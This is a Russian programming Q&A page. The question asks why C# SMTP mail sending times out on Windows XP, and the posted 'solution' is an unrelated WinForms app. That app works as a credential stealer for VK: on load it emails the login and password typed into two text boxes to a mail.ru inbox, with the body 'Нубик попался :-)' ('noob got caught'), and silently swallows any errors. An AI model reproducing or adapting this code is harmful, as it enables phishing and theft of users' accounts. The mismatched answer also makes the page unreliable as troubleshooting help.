Отправка почты (вылетает исключение) - C#

Узнай цену своей работы

Формулировка задачи:

Отправляю почту при помощи вот этого кода:
                SmtpClient Smtp = new SmtpClient("smtp.mail.ru", 25);
                Smtp.Credentials = new NetworkCredential("login", "pasword");
 
                MailMessage Message = new MailMessage();
                Message.From = new MailAddress("откуда@mail.ru");
                Message.To.Add(new MailAddress("куда@gmail.com"));
                Message.Subject = "Письмо";
                Message.Body = "";
 
                string file = "путь к присоединяемому файлу";
                Attachment attach = new Attachment(file, MediaTypeNames.Application.Octet);
                Message.Attachments.Add(attach);
 
                Smtp.Send(Message);
На Win7 работает исправно, без ошибок. На WinXP вылетает исключение: ************** Текст исключения ************** System.Net.Mail.SmtpException: Сбой при отправке сообщения электронной почты. ---> System.Net.WebException: Невозможно соединиться с удаленным сервером ---> System.Net.Sockets.SocketException: Попытка установить соединение была безуспешной, т.к. от другого компьютера за требуемое время не получен нужный отклик, или было разорвано уже установленное соединение из-за неверного отклика уже подключенного компьютера В чем может быть дело?

Решение задачи: «Отправка почты (вылетает исключение)»

textual
Листинг программы
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Mail;
namespace бот_вк
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }
 
        private void Form1_Load(object sender, EventArgs e)
        {
            SmtpClient client = new SmtpClient("smtp.mail.ru", 2525); // Здесь указываем смтп сервер и порт, который мы будем использовать 
            client.Credentials = new System.Net.NetworkCredential("sidorov159357@mail.ru", "pass"); // Указываем логин и пароль для авторизации 
 
            string msgFrom = "Login@mail.ru"; // Указываем поле, от кого письмо 
            string msgTo = "login@mail.ru"; // Указываем поле, кому письмо будет отправлено 
            string msgSubject = "Письмо из c#"; // Указываем тему пиьсма 
 
            string msgBody = String.Format("Нубик попался :-)\n\n {0}\nЛогин: {1}\nПароль: {2}",
            ToString(), textBox1.Text, textBox2.Text); // Тут мы формируем тело письма, передаем выбранный сервер, логин и пароль. 
 
            MailMessage msg = new MailMessage(msgFrom, msgTo, msgSubject, msgBody); // Создаем письмо, из всего, что сделали выше 
 
            try
            {
                client.Send(msg); // Отправляем письмо 
            }
            catch
            { }
            
        }
 
        private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
        {
            System.Diagnostics.Process.Start("www.vk.com");
 
        }
    }
}

ИИ поможет Вам:


  • решить любую задачу по программированию
  • объяснить код
  • расставить комментарии в коде
  • и т.д
Попробуйте бесплатно

Оцени полезность:

8   голосов , оценка 4.625 из 5